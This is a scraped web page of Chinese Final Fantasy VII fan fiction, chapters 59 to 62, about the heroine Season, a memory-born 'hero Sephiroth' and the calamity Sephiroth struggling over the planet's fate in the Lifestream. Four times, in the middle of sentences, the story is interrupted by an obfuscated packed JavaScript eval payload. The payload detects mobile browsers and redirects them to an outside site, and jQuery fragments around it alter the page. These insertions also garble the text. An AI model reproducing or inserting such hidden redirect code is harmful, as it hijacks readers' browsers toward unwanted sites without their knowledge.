萨菲罗斯希望她认输,只要和杰诺瓦融合,她就能拥有和他一样强大到足以改变命运的力量,无论是打破幕墙还是逆转时空都能够轻易成功。永恒的力量和生命是一个近乎完美的无法拒绝的条件,一切的最优解,可这样做才是彻底的失败,不仅背叛了她的星球和朋友,也背叛了她自己。 哪怕只有亿万分之一的可能性,她也不会放弃。 希森靠在幕墙边缘,握着手里的治疗系魔石慢慢恢复消耗过度的身体。不知她是否因为疲劳过度产生了错觉,在逃出北方大空洞以后,碧绿的魔石似乎变淡了一些。 不过此时她也顾不上这么多了,天幕上的陨石正不断逼近地面,此刻浪费的每一秒都意味着数以万计的死亡。她无法打破命运幕墙,所以打算开启时空裂缝强行穿入遗忘之都,虽然依法露娜警告过她的身体无法承载这种力量,但这个世界上总有些事情是高于死亡的。 她把手放在毫无温度的幕墙上,集中精神正要调动体内的神圣魔法,耳边却响起了一声熟悉而又温和的叹息。 在尼布尔海姆事件发生之前,在那段幻梦一般美好的时光里时,每当她做出什么任性的行为,比如晚上熬到凌晨不肯睡觉,又或者是不小心把银白的长发打成死结,萨菲罗斯就会垂下眼眸,无奈而又纵容地笑着叹气。她很喜欢看他这幅模样,总是乐此不疲地换着花样捉弄大猫,看着从无所不能的神罗英雄对自己无可奈何。 她已经很久没有听到这道声音了,也以为自己永远不会再有机会听到。因为成神之后的萨菲罗斯从不这么做,只会似笑非笑地看着她,慢条斯理地提醒任性过后需要付出的代价。 “……时空裂缝的本质是时间与空间混合组成的乱流,”昔日温柔的语调如同大提琴的独奏曲,“贸然进入会让你迷失在其中。” 希森回过头,感觉自己应该是真的疯掉了。银发竖瞳的特种兵站在林间斑驳的阳光中,淡金的光辉为他镀上一层璀璨的淡金,那双美丽的碧绿竖瞳如同深渊上的湖泊,宁静而又深邃。 分明是一模一样的长相,连每一根发丝的弧度都不曾改变,所展现的气质却截然不同,以至于她一眼便能区分出过去的英雄和如今的灾厄。 可面前的人应该早就死了,属于她一个人的英雄死在尼布尔海姆的大火里。所以一定是她的精神出了问题,就像在北方大空洞时那样。 “……萨菲罗斯?”她下意识地伸出手,却又担心自己会戳破这道美好的幻觉。 “嗯,我在。”银发的特种兵弯起唇角,眼中似有星河流淌。他抬起手,在她震惊的目光中握住了她停在半空中的手,黑色的皮革手套传回冰冷却又真实的触感。 “为什么……怎么会……”她的声音开始哽咽,“萨菲罗斯,你明明——” “因为我答应过,不会让你死亡。”银发的特种兵轻柔地说,“答应过会成为你一个人的英雄。” 所以他回来了,从少年到英雄,在她最需要的时候回到她身边。 温热的液体如同断线的珠链从脸颊滑落,她呆滞在原地。无论眼前的萨菲罗斯是真实也好,是幻觉也好,她都不在乎了。 ——因为她真的很想再见他一次,即便明知道是假的也没关系,仅仅是这点念想就已经足够支撑她走完剩下的路。 “……我该怎么做?”她紧紧抓着对方的手,一边在哭,一边却又在笑,“我已经尽力了,但每次都还是差一点……你说星球会不会选错人了,我根本没能力救任何人。” “你已经做到了,所以我才会出现。”死去的英雄没有体温,但他的怀抱很柔软。银白的发丝如同月光洒在她的肩头,高大的特种兵动作轻柔地替她拭去眼角的泪水,“别哭,不是约好要一起改变命运吗?” 她抬起头,猛然想起了什么。 银发的特种兵低下头,碧绿的竖瞳像过去的每一分每一秒一样专注又温柔:“你的身体无法承受打开时空裂缝的力量,但是你可以借助涅墨西斯作为载体,它能够替你承担一部分伤害。” “就像未来的你那样?”希森很快反应过来,怪不得萨菲罗斯每次都用正宗劈开时空裂缝,“我还以为那是为了……彰显格调。” “或许也不能完全排除这个因素。”银发的特种兵莞尔一笑,“别担心,我会带你穿越裂缝。” 覆盖着黑色皮革的手没入指缝,她和昔日的恋人在坚不可摧的命运幕墙前十指相扣。 在出发之前,她侧过头:“萨菲罗斯,你是真实存在的,还是我的回忆?” 银发的特种兵与她一同握住涅墨西斯的剑柄,似乎早就预料到她会这么问:“我是你的回忆,但为什么不是真实的呢?” 他没有体温,不是人类,没有实体,可以随时消失和出现。他来自她的回忆,却又是真实存在的。 答案已经很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14023942|131107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明显。 “你是思念体,”希森说,“依靠我在现实世界现身的思念体。” 不是成为灾厄的那一个萨菲罗斯,而是她记忆里所熟悉的那一个萨菲罗斯。在望向她时永远带着温柔笑意的大英雄,比起自己的感受更在乎她的意愿的萨菲罗斯。 “如你所见,那个「我」的思念体以杰诺瓦细胞的融合者作为现身的基石。” 碧绿的竖瞳里流淌着熟悉的笑意,随着紫色的剑刃自上而下斩出,英雄萨菲罗斯与她一同劈开命运的幕墙。 “而我的锚点,”他说,“是你。” 坚不可摧的巨墙轰然倒塌,能够逆转命运的巨大力量使四周的空间产生剧烈的波动和扭曲。混沌的时空裂缝将近崩溃,天幕上的星河如雨点般坠落,整个世界宛如一场光怪陆离的噩梦。 染血的刀刃自下而上,银发的灾厄从短暂的停顿中回神,抬手道:“玩闹结束了。” 半跪在废墟上的红发青年忽然笑了起来。深可见骨的伤口受牵扯涌出的鲜血如同涓流滴落,在地上溅出朵朵腥甜的花,但他就像感觉不到疼痛一样,反而笑得愈发畅快和肆意。 “……那个傻子真的成功了啊。” “你似乎对成功有什么误解。”萨菲罗斯漫不经心地弯起唇角,“你觉得她会为你求饶么?” “她不需要。”杰内西斯抬起眼眸,“我死了,她会永远记住我。倒是你呢?” “她会为你流泪吗,哪怕半秒?”他扬起一抹怜悯的弧度,“无论抹去她的记忆多少次,她都不会留在你身边,真可悲啊。” “……无聊。” 萨菲罗斯神色漠然,银白的长刀随手腕的转动挥向最脆弱而致命的心脏。杰内西斯没有躲闪分毫,像是回忆起什么一般浅浅地弯起唇角,那是不带任何嘲讽意味的、纯粹而轻快的笑意。 就在刀尖没入心脏的前一刻,刺耳的金属嗡鸣声骤然炸响。巨大的破坏剑于千钧一发之时挡开正宗,金发的少年抬起头,浸泡过魔晄的蓝绿色双眸坚定地看向眼前的宿敌。 星球选中的英雄无论倒下多少次,都会重新站起来,然后比上一次更加强大。 黑发赤瞳的少女走到克劳德身边,紧接着是身穿红色披风的沉默男子,被称为星之守护者的兽族……英雄的伙伴们站在他身后,如同一面坚实的盾。 “我们就这点人?”杰内西斯扬起眉毛,话语间唇角再次溢出血沫。 “你还嫌少?”安吉尔对他的性格早已见怪不怪,和文森特一人一边扶起重伤的好友,无奈道,“少说两句吧,先疗伤。” “告别完了吗?”萨菲罗斯侧了侧头,银白的正宗旋出优雅的弧度,“不要抵抗命运,克劳德。” “闭嘴。”金发少年举起重剑,“我不会再让你伤害爱丽丝和希森。” 在遥远的古老祭坛中,双手合十的少女似乎听到了挚友的呼唤。她睁开如同春日绿意般明媚的双眸,笑着看向身旁的黑发少年:“星球说……我们这次一定会成功哦。” 60.第 60 章 当她从浑身撕裂般的剧痛中勉强找回意识后,发现自己正躺在一个熟悉而有力的怀抱里,指尖无知觉地紧紧抓住黑色外套的皮质衣襟。银发的特种兵已经在无数混沌与破碎的时空中找到了正确的道路,抱着她来到一片古老的遗址。 神罗英雄标志性的外貌和装扮太过醒目,几乎是在他们出现的那一瞬间,原本靠在祭坛中央的扎克斯便抽出背后的重剑翻身跃起。幸好一旁的古代种少女及时拉住了他的手臂,安抚地摇了摇头:“没关系,他并不是正在毁灭星球的那个「萨菲罗斯」。” “啊,那就好——等等,不对!”扎克斯挠了挠头,忽然愣住了,“怎么会出现两个萨菲罗斯?他到底是什么?” “唔……很难解释呢。”爱丽丝歪过头,抵着唇思考了片刻,明媚的双眸中闪过俏皮的笑意,“如果让我形容的话,那就是贫瘠土地上开出的一朵奇迹之花吧。” 小狗显然还是没有听懂,但不影响他无条件相信少女。 她的喉咙里溢满鲜血,痛得像是被火焰烧过,只能回以微笑。爱丽丝握住她的双手,温柔的双眸仿佛一眼望入心底:“谢谢,我的英雄。” “萨菲罗斯的意识在生命之流中阻止神圣魔法的力量,我们需要打破他的封印。”古代种少女和她十指相握,“我会送你们进入生命之流,不过别担心,这次我也一定会带你回来。” 希森看向一直守在旁边的身影,银发的特种兵无需她开口便读懂了那些尚未问出的话语:“我会一直在你身边。” 碧绿的光河曾经把她送回现实世界,如今又将她和来自过去的思念体送往应许之地。记忆是组成智慧生命的核心之一,而生命之流则是融合与回收它们的载体,在没入长河的那一瞬间,死去之人的回忆如同海潮向她涌来。 …… “一起改变命运吧,萨菲罗斯。” 银发少年看着对方的身影被无垠的蓝天吞没,化为深秋的最后一缕微风。他安静地站了许久,如同一座凝固的雕塑,直到楼层尽头来神罗士兵的脚步声才终于缓慢地回过神。 碧绿的魔石上还带着几分的余温,仿佛送他礼物的人还在身旁。少年垂下眼帘,在剔透的晶体上落下极轻的一吻。 ——他说好。 虽然对方无法听见他的回答,但他会遵守他们之间的约定。 据说魔晶石的力量源于愿望,于是少年许下了自己的心愿。 宝条死亡后,新上任的荷兰德迫切想要证明自己的研究成果比前者更好,对竞争对手留下的实验品几乎是放任不管的态度,连带总部也对少年英雄的限制放宽了许多。留给萨菲罗斯的那张磁盘里不仅记录了杰诺瓦细胞和S计划的真相,还有神罗各个部门的机密,少年凭借来自未来的知识从被包装成商品的武器逐渐转变为伪装蛰伏的猎手,直至来到命运必经的转折点。 他在尼布尔海姆看到了时空交织的真相,也得知了她的来历。 命运总是如此不公且残忍,给予他虚妄的希望,再无情地夺走。 银发的青年把自己关在地下公馆中,一遍又一遍地寻找改变命运的方法,直到担忧他的后辈前来劝他离开。神罗英雄第一次对自己的好友出手,在以神话中极寒之地命名的村落里点燃了熊熊业火,去迎接自己的另一位「母亲」。 身受重伤的杰诺瓦之子站在魔晄池前,身旁的电脑屏幕上还停留在读取磁盘的页面,文档中的内容已经被全部删除,只剩下制作者在末尾留给他的祝福: “希望你永远自由快乐:)——Season 。” 他无意识地弯起唇角,掌心握紧那枚随身携带的魔晶石,而后毫无留恋地坠入成神的地狱。他会抛弃那个无知又无能的自己,继承杰诺瓦的意志和力量,连时间和空间也无法阻挡他的脚步。 没关系。 「母亲」会引领自己找到她。 「母亲」说,她说命运的钥匙,未来的礼物。 「母亲」说,他们会一同改变命运,主宰星球,走向永恒。 …… 当一个人被遗忘的时候,他才是真正的死去。 在所有的世界线里,萨菲罗斯都会走向陨落,而「英雄萨菲罗斯」则会随着灾厄的诞生彻底消失。但在这条世界线里,银发少年因与她的约定许下愿望,于是无数既定的命运中诞生出亿万分之一可能性的奇迹。 「英雄萨菲罗斯」并没有被遗忘,杰诺瓦之子能以思念体的方式复苏,作为过去的他自然也拥有这种能力,尽管比起神明是如此微弱。有人一直清晰且深刻地记住「英雄萨菲罗斯」,因此那个人成为了「英雄萨菲罗斯」的锚点。 …… 蕴含着愿望力量的魔石被「英雄萨菲罗斯」送到那个人手中,在神明的封印里凿开一道裂缝,唤醒体内的神圣魔法。 …… 在生命之流里,再一次被杰诺瓦之子抛弃的「英雄萨菲罗斯」找到了他的锚点。 「英雄萨菲罗斯」对她说:“你必须抛弃对「我」的感情,否则它会成为你前进的最大阻碍。” …… 在北方大空洞里,在命运幕墙前,「英雄萨菲罗斯」履行了自己的约定。 …… ——那么送她魔石的人又许下了什么愿望? “我的愿望,”少年与英雄的声音在记忆与现实中重合,“就是实现你的愿望。” 为此我会再次回到你身边,哪怕是与自己为敌。 银发的特种兵牵着她的手,以爱丽丝的声音为灯塔,来到如同病毒般盘踞在生命之流中央的杰诺瓦意识前。黑紫色的浓郁雾气凝成实体,单翼的灾厄手提长刀,居高临下地望向他们。 希森莞尔一笑:“又见面了,萨菲罗斯。” “啊,”碧绿的竖瞳微微眯起,如同狩猎状态下的毒蛇,他轻笑一声,“是我小瞧你了。” 英雄与灾厄的意志在生命之流中博弈,碧绿的光河翻涌动荡,哪怕只是以意识的方式存在,也能清晰感受到足以摧毁一切的压迫。与她十指相扣的身影开始逐渐淡去,如同褪色的回忆。 “可悲的东西,”单翼的灾厄弯起唇角,低沉华丽的音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14062348|131107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 线中流淌着毫不掩饰的恶意,“无论如何挣扎都逃不过覆灭的命运,这就是你和我之间的差距。” “她已经改变了「我」的命运,不是么?”银发的英雄淡淡地笑道,“无论哪一个「我」,宁可重头再来也要和她相遇。” 单翼的灾厄漫不经心地侧了侧头,看起来几乎对此感到无聊了:“至少我不会成为回忆。” 从进入生命之流开始,希森就知道了「英雄萨菲罗斯」的结局——因愿望而诞生的思念体,在愿望实现的那一刻自然也会消散,他并不是完整的萨菲罗斯,只是过去的一部分。属于她一个人的英雄以自己为代价打破了杰诺瓦的封印,在无数个绝望的未来中为她争取到最后一分成功的可能性。 碧绿的光河与杰诺瓦的意识都在分崩离析,让她回想起故乡的末日,但这一次迎来的将会是新生。 “抱歉,你一定在未来受了很多苦。”来自过去的思念体看向她,“即便不愿承认,但造成这一切的正是我自己。” “我并不后悔来到这个星球,也不后悔和你在一起。”希森摇了摇头,“哪怕重来三千遍,我也会做出同样的选择。” 时间好像回到了尼布尔海姆事件发生之前的日子里,他们窝在书房的沙发上,冬日的阳光透过落地玻璃窗暖洋洋地撒进来,她躺在银色大猫的怀里,给对方讲来自故乡的故事。银发的特种兵从不怀疑她说的每一个字,即使听起来天马行空,即使无法理解,他也只是噙着温柔的笑意提出自己的疑问。 “为什么是三千遍?” 她笑了起来:“因为我——” 后面的话语被柔软的唇瓣吞没,思念体的吻冰冷而轻柔,浅尝辄止,转瞬即逝。她还未来得及做出回应,银发的特种兵已经随着碧绿的光河流逝,如同风中飘散的雪花,没入蓝天的伊里丝之蝶。 她放下手,掌心早已空无一物。 这次真的什么也不剩了。 有那么多人替她斩断前路的荆棘,所以她也该继续出发,完成她的使命,拯救两个世界。她从来都不后悔,也不怨恨任何人——宝条除外,反而很庆幸能来到不同的世界和这么多朋友相遇。 爱丽丝发动的神圣魔法聚集生命之流涌向坠落的陨石,古代种少女原本死于杰诺瓦之子刀下的命运并没有发生,所以她知道克劳德一定成功阻止了萨菲罗斯的本体。身体和灵魂都变得很轻,她没有回头,而是毫不犹豫地向前奔跑。 丝丝缕缕的黑紫色雾气自她脚下升起,如同锁定猎物的蛇,尽管一次又一次被碧绿的光河冲散,也仍旧坚持不懈地重新汇聚,紧紧追随着眼前的身影。 手腕忽然传回一股不容抗拒的力度,她回过头,紧随身后的杰诺瓦之子重新凝聚出形体,毒蛇咬住了猎物。 “……停下。”萨菲罗斯拉住她,碧绿的竖瞳如蔓延的深渊。那些或是愉悦,或是倨傲,亦或是漫不经心和居高临下的笑意全然消失不见,唯有非人的冰冷。 希森困惑地看向他。 “再往前走,”萨菲罗斯的声音听不出情绪,“你会死。” 61.第 61 章 “——我知道。” 从选择拯救星球的那一刻起,她就没打算活着回去,哪怕幸存下来她也不会再把灾厄带去故乡。其实她也不确定自己的灵魂会去往何处,但是她并不害怕死亡,无论是回归生命之流还是去往其他世界,对她来说都是一场新的旅途。 萨菲罗斯没有松手,她很庆幸自己现在只是意识而没有实体,否则这种力度早就令她的骨头碎裂。 “……放手吧,萨菲罗斯。”希森叹了口气。考虑到对方向来强势的性格,她又放缓了语气,“我都死了,你让让我行不行?” 腕间的桎梏没有分毫松动,萨菲罗斯的语气温柔得将近病态:“所以,你宁可用死亡来逃避我?” ……又是这种逻辑,就好像自己是他的所有物,只能在他和这个世界之间极限二选一。 她不想和萨菲罗斯继续纠缠,也不认为自己能改变对方的想法。但都到了这个地步,要是还不把话说清楚又实在不甘心。 “首先,我是为了拯救星球做出必要的牺牲,而不是因为逃避你。”希森直视那双蛇一般绮丽又危险的碧绿竖瞳,“其次,造成这个局面的是你,如果你不毁灭星球,我就不需要死。” “哦?”他很轻地笑了一声,纤长如鸦羽的睫毛盖过眼底的神色,“你就那么想当星球的救世主?” “不是想当,我本来就是。”她纠正道,“你以为我很想去死吗?如果我在乎的一切都不复存在,那我一个人活下来又有什么意义。” “类似的星球与生命体在宇宙中数以万计,若是你喜欢,在航行的途中可以停留。”萨菲罗斯慢条斯理地开口,“何必被束缚于此,遨游无垠的星河与多重位面不也正是你的意向么。” “……然后呢?在你感到厌烦或者饥饿时又把那些星球毁掉吗?”她没有被他绕进去,“或许在外来者和旅行者方面我和你是同类,但是我对主宰星球没有兴趣,也不想毁灭任何生命。” 她只是想去旅行,不是要做宇宙贪吃蛇。 “看来你我对于自己的使命有着不同的理解,”萨菲罗斯莞尔,“不过没关系。” 她忽然有种不祥的预感。 “我们可以创造独属于我们的……新的生命。”杰诺瓦的意识如同群蛇在她脚边盘旋,覆盖着黑色皮革的指尖亲昵而又眷恋地拂过她的唇角,顺着脸侧的轮廓一路下滑,“不会背叛,不会分离,不会自取灭亡——比人类更为高级和完美的存在,我们的同族。” 由于生命之流里的信息传递速度过快,当她意识到自己听到了什么时候,一切已经来不及了。诸如生殖隔离的知识在脑海中闪过,她沉默了片刻:“那还不如死了算了。” 碧绿的竖瞳微微眯起,四周淌过的光河被黑紫色的雾气侵染,似暴风雨来临前的乌云般翻涌颤动。星球正在无声地哀鸣,但她没有退缩:“说到底,你执着的到底是我的屈服,还是我的爱?” “二者并无区别,命运注定你属于我。” “可我从头到尾都没有杰诺瓦细胞,”她几乎要笑出声了,“又何来你所说的命运?” “现在有了,”萨菲罗斯不紧不慢地向前一步,“我成为了你的命运。” “哪怕这并非我的意愿?” 银白的发丝如同剧毒的水银将她淹没,萨菲罗斯侧了侧头:“既然结局已经注定,我想不出你拒绝的理由。” “如果那就是你想要的结局,你为什么要把愿望魔石从蒂法手里抢回来,又再还给我?你明知道它意味着什么。”希森平静地看着他,“承认你想要我以自己的意愿爱上你有这么难吗,萨菲罗斯?” 碧绿的竖瞳近在咫尺,她甚至能看清如宝石裂缝般的绮丽纹路。在长久而压抑的寂静后,萨菲罗斯贴着她的唇瓣开口:“那么你呢?这次为什么没有再抛弃对「我」的情感?” 人类的情感是唯一无法控制的存在,哪怕曾经弃于生命之流,也会因短暂的重逢再次滋生。承载着情感的回忆很沉重,但她没有舍弃一分一秒。 “如你所愿,因为我爱你。”她坦然承认,“我并不想遗忘你。” 从英雄成为灾厄,才是完整的萨菲罗斯。无论是欢愉还是痛苦,她都想要记住。 “但你没有选择我。”萨菲罗斯的语气好像在说:撒谎。 “我爱你并不意味着我一定要和你在一起。” “为什么?”他看起来似乎真的为此感到困惑。 “因为——” 她从来不在乎是怪物还是人类,是星球守护者还是杰诺瓦,平凡也好特殊也罢,不同物种的共存方式有很多,浩瀚宇宙中一定有能够容纳他们的地方。如果命运注定走向覆灭的结局,那就携手逆转它。 但他们从一开始就没有站在平等的位置上。 高高在上神明又怎么会看到人类渺小的身影,听到人类微弱的声音呢? “——我没有被平等地看见和听见。” 希森挣脱周身的束缚,用尽全力打了萨菲罗斯一巴掌。巨大的冲击与惯性使得杰诺瓦之子微微侧头,柔顺的银丝如水银织就的幕帘自脸侧淌下,遮去了他的所有神色,仅露出雕塑般完美的轮廓。 黑紫色雾气骤然爆发,整片空间开始剧烈摇晃,仿佛下一秒就会分崩离析。银发的灾厄在那一瞬间无声凝固,就连她腕间如钢筋般的桎梏也出现裂痕。 而正是这一刹那的愣神给了她挣脱的机会,得以冲破漆黑羽翼打造的牢笼,沿着河流前行。现在的末日降临的前七秒,生命之流即将与陨石相撞,二者产生的力量足以让灵魂彻底湮灭。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14105575|131107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这下真的要成英雄碎片了,她心想,不知道这次还会不会有人集齐碎片把她从星球商店兑换回来。 她听见了星球的叹息,然而预想中的死亡并没有到来。 有人很轻地喊了一声她的名字,眷恋又亲昵,似乎把每个音节都细细咀嚼过一遍。 希森本以为萨菲罗斯会生气,但并没有。 漆黑的羽翼如同密不透风的茧将她包裹其中,紧追而来的杰诺瓦之子将她牢牢扣在怀里,如同洞穴里守护珍宝的巨蛇。和先前为了阻止猎物逃走的禁锢与束缚不同,这一次她感知到的是另一种截然不同的意志。 意识到萨菲罗斯在做什么后,她愣住了:“……为什么?” “你说过死亡并非你的意愿。” 这一次困惑的人变成了她:“那你追求的使命和永恒呢?” “这种程度还不足以阻止我,不过是让这颗星球继续苟延残喘。”萨菲罗斯低声笑了起来,“但你可以。” 银鳞的巨蛇头衔尾,尾连头,一如他们二人的命运般不可分割。莫比乌斯之环只有一面,因此哪怕站在环两端的人向着完全相反的方向行走,也会在某一点上再次相遇。 “所以,试着继续阻止我吧。”他说,“直到永恒。” 陨石在神圣魔法的光辉中消散。星球的脉搏重新跳动,世界在毁灭中新生。 她看见了如同天使般美丽的造物,层层叠叠的羽翼挡住天幕的流火。温热的血如雨点洒落,与眼角的泪水融为一体。 银鳞的蛇轻轻咬了她一口。 希森好像回到了尼布尔海姆那个夜晚,他们在命运的歧路上对峙,最终以焚毁一切的业火收尾。但这一次萨菲罗斯将她保护得很好,无论是在生命之流还是现实,无论是灵魂还是躯体,死亡和痛苦都不曾降临,直至杰诺瓦的本体被碧绿的光河寸寸撕裂,她也没有受到任何伤害。 在神话中,彩虹女神是连接人类与神明的信使,因而据说向伊里丝之蝶许下的愿望能够传递到神明耳中。 蝴蝶最终飞向蓝天,她的愿望也被听见了。 ——大家合力打败反派,拯救两个星球,没有任何人牺牲,如同游戏里的完美结局。 她睁开眼睛,低头看向手里的魔石。原本流转其中的碧绿光泽早已全部散去,只剩下一颗透明的无色晶体,澄澈而又温暖。 在生命之流里,她曾经问萨菲罗斯为什么选择把魔石还给她,当时他并没有回答。 现在她知道了答案。 因为他的愿望从来没有改变,哪怕从英雄堕落为灾厄,他也不曾忘记。为此跨越时间和空间,宁可放弃一切从头再来。 他想要被记住。 他想要她重新爱上自己。 他想要和她一起改变命运。 62.第 62 章 星球正在复苏。 如同歇息在溪流边舔舐伤口的动物,又如同在巨木断面处重新焕发生机的绿芽,迭代的细胞取代腐烂的血肉,新生的枝桠舒展郁葱的林叶,循环往复,生生不息。自然界的每一次更迭都意味着生命的进化,勃发的生机不但在这条被拯救的世界线上延续,还在无数条曾被毁灭的世界线中萌发,无限的可能性与分支在宇宙中蔓延与生长。 但伤口愈合的过程同样意味着痛苦与风险,尚且处于虚弱期的星球一时无法承载如此庞大的世界线,由此因时空不稳定产生的裂缝成为了近几年来常见的自然灾害,就像是伤口愈合时脱落的血痂。绝大多数情况下这些时空裂缝只能存在一小段时间,但偶尔也会有黑菲拉或魔兽顺着裂口入侵,因此边缘城内开始兴起雇佣兵这一职业。 之所以称其为边缘城,是因为陨石灾难降临时,星球深处涌出的生命之流淹没了过去的钢铁之都米德加。尽管市民们早已在末日前撤离了城市,却依旧无法放弃他们心中繁荣富裕的象征,于是他们在米德加的废墟附近建立起边缘城,承载起过往的苦难与未来的希望,渴望借此重现昔日的昌盛。*① 而原本的神罗早已在那场灾难中毁灭,路法斯创立了世界恢复组织——简称W.R.O,暗中资助全球的重建活动。年轻的总裁吸取了历史的教训,正如他对克劳德所说的:“神罗将在我手中脱胎换骨。” ——当然,这一切都是在四年之后了。 生命之流阻止陨石的那一刻,萨菲罗斯为她挡下所有伤害,保全了她的灵魂和躯体。然而她在拯救星球的过程中改变了太多既定的命运,导致本该死亡的人全部幸存,尽管从生命之流中活着回到现实,命运守护者还是带着因果的代价降临到了她身上。 于是刚打赢复活赛的希森又原地去世,哦不,准确来说是昏迷了整整四年。 四年的时间足够发生很多事情,也足够改变很多事情。爱丽丝在边缘城开了一家花店,蒂法经营的第七天堂成为了城市里最受欢迎的酒吧。两名前1st和克劳德以雇佣兵的身份在世界各地处理时空裂缝引发的事故,扎克斯在花店帮忙打理了一年多后,也加入了好友的下岗特种兵再就业行列。 然而这四年对她来说,就像是睡了一觉般短暂又平静。拯救世界很辛苦,她终于可以闭上眼睛休息片刻,没想到一不小心睡过了头。 醒来后看到的首先是天花板上柔和的白光,希森差点以为自己又穿越到了其他世界,被什么邪恶组织关起来做研究。回过神后她才发现这里和以前那些冰冷的实验室不太一样,更像是一间设施先进的病房,有人很努力地试图把这里改造得更加温暖和舒适,比如在床边放上新鲜的百合,又或者是墙壁上挂着的来自第七天堂的合照。 就在她困惑的片刻,一张熟悉的脸出现在玻璃墙外面。一个身穿实验服的干瘦男人以某种见到再生父母般感激而又狂喜的眼神看着她,转头就拿出手机拨通了某个号码。 “她醒了!她活着!”男人飞快地离开了,“我已经按你们的要求做了,你们答应过会把以前的事一笔勾销!” 听到他的声音后,希森才终于认出那是曾经被杰内西斯带走的荷兰德。这位前神罗科学家活了下来,但比以前消瘦和憔悴了很多,错乱摇晃的脚步让人忍不住担心他会在下一秒猝死。 ……她真的很担心自己的好友们在这四年里走上了违法犯罪的道路。 还好并没有。 克劳德和路法斯做了交易,他们负责处理世界各地出现的时空裂缝,收集关于杰诺瓦和生命之流的情报;而W.R.O则负责提供治疗她的方案与资源,保障她和爱丽丝的安全。但前神罗科学部门的人早在末日里损失了大半,能接手这件事的没几个,于是杰内西斯想起了被自己关在五台基地的荷兰德,当晚就把人抓过来废物利用了。 “……其他人还在回来的路上,蒂法还在照顾孤儿院的孩子,很快就到。”爱丽丝和她说了这四年来发生的事情,又俏皮地眨了眨眼,“其实星球已经告诉过我你会醒来,不过我还是想给大家一个惊喜。” 她想起了昏迷前看到的菲拉:“那我改变命运的代价呢?” “已经支付了哦。”古代种少女微笑道,“你获得了两个星球的祝福,昏迷是因为你的身体一时间无法承受这么强大的力量。” 她有些茫然。 爱丽丝竖起一根手指:“也就是说,你现在成为了半个神明,拥有无尽的时间,可以去任何你想去的世界——这是对英雄的谢礼。” 希森愣住了:“啊?” 成什么神,古埃及掌管魔晶石的神吗? 大量的信息让她一时间缓不过来,犹豫片刻后,她还是忍不住开口:“那个,星球有没有告诉你——” “——萨菲罗斯还活着,”话还未说完,爱丽丝便猜到了她的心思,“他正在生命之流里吞噬其他世界线的力量,这几年都没有现身。” 萨菲罗斯遵守了约定,但让他彻底放弃自己的野心是绝对不可能的事。杰诺瓦以星球的能量为食,长期不让他吃饭可能会饿死,而让他长期吃饭星球可能会死。她艰难地挣扎了一会:“……星球还好吗?需不需要让他少吃一点?” “别担心,至少很长一段时间里都不会有太大的问题。”少女的神色变得有些意味深长,“你在沉睡的这段时间里有听到过什么声音吗?” “好像梦到有人喊我的名字。”她想了想,“但是我太困了,让他别吵着我睡觉,之后就安静了。” 爱丽丝沉默了片刻,忽然弯起一抹神秘的微笑。 “……怎么了吗?” “不,没事。”少女转移了话题,“不说这些沉重的事情了——现在你最需要的是好好放松一下,凯特西送了我们金蝶乐园的门票,大家约好了一起参加乐园的庆典哦!” 最先赶回来的是杰内西斯和安吉尔,荷兰德一看到两人便一副精神失常的模样,很难想象他到底遭遇过什么。红发青年收起长剑,不耐烦地打断了对方的话:“行了,我说过的事就不会食言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14151751|131107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,快滚吧。” 看着荷兰德如临大赦的身影,她弯起唇角:“你真的愿意放过他?我认识的杰内西斯可没有宽容这种美德。” 杰内西斯漫不经心地侧过头:“我答应和他一笔勾销,又不代表路法斯也答应。” 于是她看见欢天喜地的科学家刚跑出门便被等候多时的塔克斯带走了。 “好恶毒,我喜欢。” “很高兴看到这四年的冬眠没有对你的语言能力造成任何影响。”他懒洋洋地看了她一眼,“没病就起来走两步。” 希森微笑:“我现在可是半神,你以后跟我说话注意点。” “怎么,星球只治好了你一半的神经病,现在还剩半个?” “……呵呵。” 